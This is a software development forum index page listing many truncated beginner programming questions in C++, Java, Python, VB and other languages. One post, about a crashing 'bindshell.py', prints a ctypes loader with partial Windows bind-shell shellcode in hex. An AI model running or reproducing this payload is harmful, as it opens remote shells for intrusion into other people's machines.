Software Development Forum

vi is basically used independently .....but what if vi commands are used in shell script ? I am trying to accomplish functionality of mv command using a shell script. what I want is to yank whole text of one file1 and paste it in file2. this all should happen in …

Hi friends, Can any one tell me the java program that how to convert Octa Decimal to HexaDecimal without using inbuild functions. I tried a lot but not successful. Please Please Please post the program... Thanks in advance..

please help me out, i want a code of algo by i can find out the solution, i know hoe to multiply 2x2 or 3x3 matrices but i want user friendly code in which user can chose option. help me please its in my project.

I have this code but I only eccepts one client at a time: #include <iostream> #include <conio.h> #include <winsock2.h> #include <string> using namespace std; int main() { WSADATA wsadat; WORD rVersion; rVersion = MAKEWORD(2,0); if(WSAStartup(rVersion, &wsadat) != NO_ERROR) { cout<<"WSA initialization failed.\n"; WSACleanup(); return 1; } //Creating the welcome socket …

Hi all! I'm stuck somewhere with starting a process from vb.net. I want to start a mysqldump process from my vb.net. This code works perfect if I run it from windows command prompt: "C:\Program Files\MySQL\MySQL Server 5.5\bin\mysqldump.exe" --user=root --password=mypassword --host=localhost --port=3306 --database sakila > "C:\backup\sakilabackup.sql""" Then I took it to …

Hello. I have been looking long and hard for an image library that meets these criteria that I have for pretty much any library I will use (with some obvious exceptions): A) Cross-Platform (If at all possible) B) Weightless (or nearly weightless) C) Stand-alone (I hate having to include DLLs …

I'm having trouble with a binary tree algorithm. A test program I wrote calls for the top node to only be altered in another method outside main (A simple guessing/learning game scenario). I wrote a smaller test of that exercise here: #include <stdlib.h> #include <stdio.h> #include <time.h> struct binary { …

Hello. Could somebody explain why this code snippet is not working? The arrow (<----) points to where it's going wrong. It goes wrong when building, with the error of: "An error occurred creating the form. See Exception.InnerException for details. The error is: Index was out of range. Must be non-negative …

THIS IS THE QUESTION. 1- The user would enter how many minutes he/she would like to park in the parking lot. 2- The program would output the parking cost. 3 - The rate charge by the parking lot is as follows First 3 hours - RM4/Hour Hours 9 onwards - …

[code]#include <iostream> #include <fstream> #include <conio.h> #include <ctime> using namespace std; //////////////////////////////////////////////////////////////////////////////// class account{ public: account(){ i = 0; balance = 0; transaction_during_one_day = 0; one_month_balance = 0; minimumBalance = 99999999999999; startTime = clock(); } //```````````````````````````````````````````````````````````````````````````````````````````````` void depositBalance(){ cout << "Enter Amount to Deposit: "; cin >> depositAmount; balance += …

Hello. After reading other threads that inut from a text file to a basic array I do not understand how to apply it to a 2d array. I dont quite understand what I need to do to make it read in the data properly. This is what I have so …

I have had a hard time setting up OpenGL to work with Visual Studio 2010,but no luck so far.I included `glut.h`,`gl.h`.I have linked the requisite `.lib` files in the Project Properties,but still I get this error `error LNK2019: unresolved external symbol _glutMainLoop referenced in function _main` ind six more like …

Ok, so I'm not having a problem but I didn't know where else to place this question. I'm just now "re-learning" C++, I never got into GUI programming before and it's been almost 4 years since I last touched this language. Anyways, my question is simply, do you code a …

Hello Im using the FileUtils.copyDirectory method but it gives me the error of "Failed to list contents of foldername". I know the folder exists and I can write there because creating a file works. What could be wrong?

I having soap request and response xml in seperate file. i need to parse it and get the data from soap xml file. using C program I know it is possible with libxml2. Is it there any other way to parse ? Is there any facility available in gsoap to …

i am using xammp database. and i want to get last ID from my database so that i can insert new stuff in it. the code below doesnt get me the last it. its prints it is adding one next to last it. ex 7, 71, 711, 7111, 71111, but …

Hi. I have a Foo class that stored a dictionary attribute called _data. I'd like the Foo class to have a dictionary interface, and defer most basic dictionary operations down to the _data attribute. I am currently overwriting the magic methods one by one: def __getitem__(self, item): return self._data[item] def …

I am currently working on a translator which translates one document from English to German, I had created it as a GUI application using Tkinter and python 2.7, Here I am facing some problems like 1. Assume that if a person uploads a document 'samp.txt' in the using the upload …

I am making an examination system desktop application in Java Swing. I have a frame named 'show_class_question' frame. This frame is used to display questions and four options from database. Whenever user clicks 'Next' button I am calling this same frame (show_class_question) again and agian from itself (self - refrencing) …

Hi to all, I need to print a form in vb.net,but the problem is my form size is 1382, 784.If i print a form means it cuts other side..Any idea or reference link to print a form in full size are appreciated.

Hi there. I am fairly new with python and programming altogether. I'm having a problem dividing elements of two lists, and appending the results to a new list. The problem is, the second list may contain a zero, and obviously we can't divide by zero. If it happens that we …

Hi I get this error when I run bindshell.py ? line 29 is shell() "Traceback (most recent call last): File "1-bindshell.py", line 29, in <module> shell() WindowsError: exception: access violation writing 0x00000000022295A0" from ctypes import * shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68" "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01" "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50" …

Windows Application Form I have a user control called 'ucForm', this 'ucForm' have a button to pop out a windows called 'pForm', I want to code it like this, when I press the 'Next' button it will close the 'pForm' and pass the textbox value in 'pForm' to 'ucForm' textbox. …

Helo , I am working actualy on a function that delete a row from a table in a database , it works good with this python code : def supprimer(): global rows global element global listelement idsupprvar = idsuppr_entry.get() db = MySQLdb.connect(host = "localhost", user = "user", passwd = "123456",db …

def GetMemory(title, FSB1, FSB2, FSB3, Rover): word = raw_input("Enter the number of words you want to allocate: ") print "GET_MEMORY IS RUNNING......." print "Initial FSB list" Print (title, fsb1, fsb2, gsb3, rover) if int(word) <= fsb1[2]: # Size of area being returned fsb[2] = fsb[2]-int(word) fsb[1] = fsb[1]+int(word) rover = …

Group, I've learned to find the index number of a specific character within a string by writing dIndex = myText.IndexOf("|") Obviously, this start counting left to right. But I'd like to do the same but start counting from the right side of the string to the left to find the …

What is servlet in java? And how to make program in servlet.

I was wondering if you could give me advice, do i need to be extremely focused? also what do i start with, where do i start?

hi im new to java.i wrote a simple programme and need a little help.i should enter an int as the input but when i entere a string, it gives an exception. Exception in thread "main" java.lang.NumberFormatException: For input string: i need a dialog box to be appeared when i enter …

i make my project set up but when i install it on another computer it gives error that " can not find data in c:/document and settings.how we an solve it plz tell me

I've a field, say "Invoice No.", i want to be this as an auto-generated number. like DLP/001/2013-2014 DLP/002/2013-2014 DLP/003/2013-2014 . I use vb6 and Access.how can i do this?

hi, i m new to programming and i m trying to create a setup and deployment package for database application. after sucessfully creating setup, when i install it on my system, i m getting a error. i changed the permissions of the installed application folder, and it workd fine. is …

Hello, We were assigned a hw to come up with a linked list implementation for grades. We are supposed to ask the user how many students there are and then ask for 4 grades for each student and then come up with an avg in 2 different ways i.e sum/4 …

Hi All, I am attempting to execute a dtsx package using Java and I have the following line Process executionProcess = Runtime.getRuntime().exec("dtexec/f\"C:\\Projects\\EconAnalysisConferenceBoard\\EconAnalysisConferenceBoard\\EconAnalysisConferenceBoard\\ConferenceBoardETL.dtsx\""); I keep getting an error saying the file cannot be found but if I run the dtexec in command prompt with the exact same paths and file name …

Hi all, I have a problem with trying to call a protected base class function from an inherited class. I have done some research and from what i can gather what i am trying to do is simply not permitted by the standard. The error i get when trying to …

Hey Folks I've created a template and storyboard that applies to all buttons in my application. When you click the button, it drops to the right and down a bit, then snaps back up. The problem is, when I handle the click in code, it executes before (or during?) the …

I have been tryin to get this to work for the past week if not two >:( with no joy. Worst of all its such a trivial problem. The program asks you to choose a town name from a combo box when you choose the location you shoud be brought …

Hi all, I need to read my text file that contain first name, last name, age and blood types. All of it separated by semicolon sign. Eg: `Trudy;Canavan;41;AB` What i need to achieve is read the text file into different arrays. Please help me. Thank you

So, as an exercise I wanted to make a simple binary tree as practice before moving on to other, harder things. I tried to implement a binary tree in a simple guessing game scenario. I can't test it due to issues I'm having with taking in input. But I can't …

Form1 is a pop out windows from Form2. Form1 has a listbox1 with items and when I clicked the 'Continue' button in Form1, it will pass all the items in the listbox1 to listbox2 which is located in Form2. I would like to ask how the button_click in Form1 will …

i have a text file which contains a single line like 1,2,3,1,2. how do i read this text file and move integers to an array such that array contains only 12312.

i am making a number base conversion program in c++, suppose that user enters an base 2 number and want to convert that number in base 4. when he enter the number (which he wants to be converted), how can i detect that number is belongs to base 2 number …

hi guys, i am making invoice form in vb6, i have to make grid view so that user can add item details in row just by clicking on it and new Grid is open when user want to add new item. like productname description qnt rate amount ----------------------------------------------- row1 row2 …

Hi I try to conver perl script script.pl to script.exe using 64 bits Perl2Exe. I put Perl2Exe to my folder C:\Perl64 I wonder if I convert right? > perl perl2exe.exe myscript.pl

I am working on a program which takes a text file as input and stores each word in a hash table along with a count of how many times the word occurs in the text. It seems to work fine until I attempt a file with more than 18 words, …

Hello, I need to write a python script for performing telnet between two windows machine, that is Host and Client. After doing Telnet Successfully I need to run some application on other machine and there in that application I need to give commands via my script aswell after giving command …

I use the g++ compiler for linux and i am trying to link allegro. how do i link allegro with g++?

Would this decryption decrypt this encryption? encryption: push eax and eax,0xAA not al mov edx,eax pop eax and eax,0x55 xor ecx,edx xor ecx,eax rol cl,1 rol cl,1 mov eax,ecx sub al,0x20 decryption: add al, 0x20 mov eax, ecx ror cl, 1 ror cl, 1 xor ecx, eax xor ecx, edx …

i have two classes. Main class and tester class. I have to create a textfield so your can enter there name. The problem is that in tester class i am getting error on add() method. is there simple fix for this? i want to create the textfield in tester class …

Hi, I have a weird requirement and since i have never worked on xml, xsd and python i am not understanding how to go about it. There will be 2 xsd files containing parameters(structure), (may or maynot have)default values for them and range values for them. The xml file will …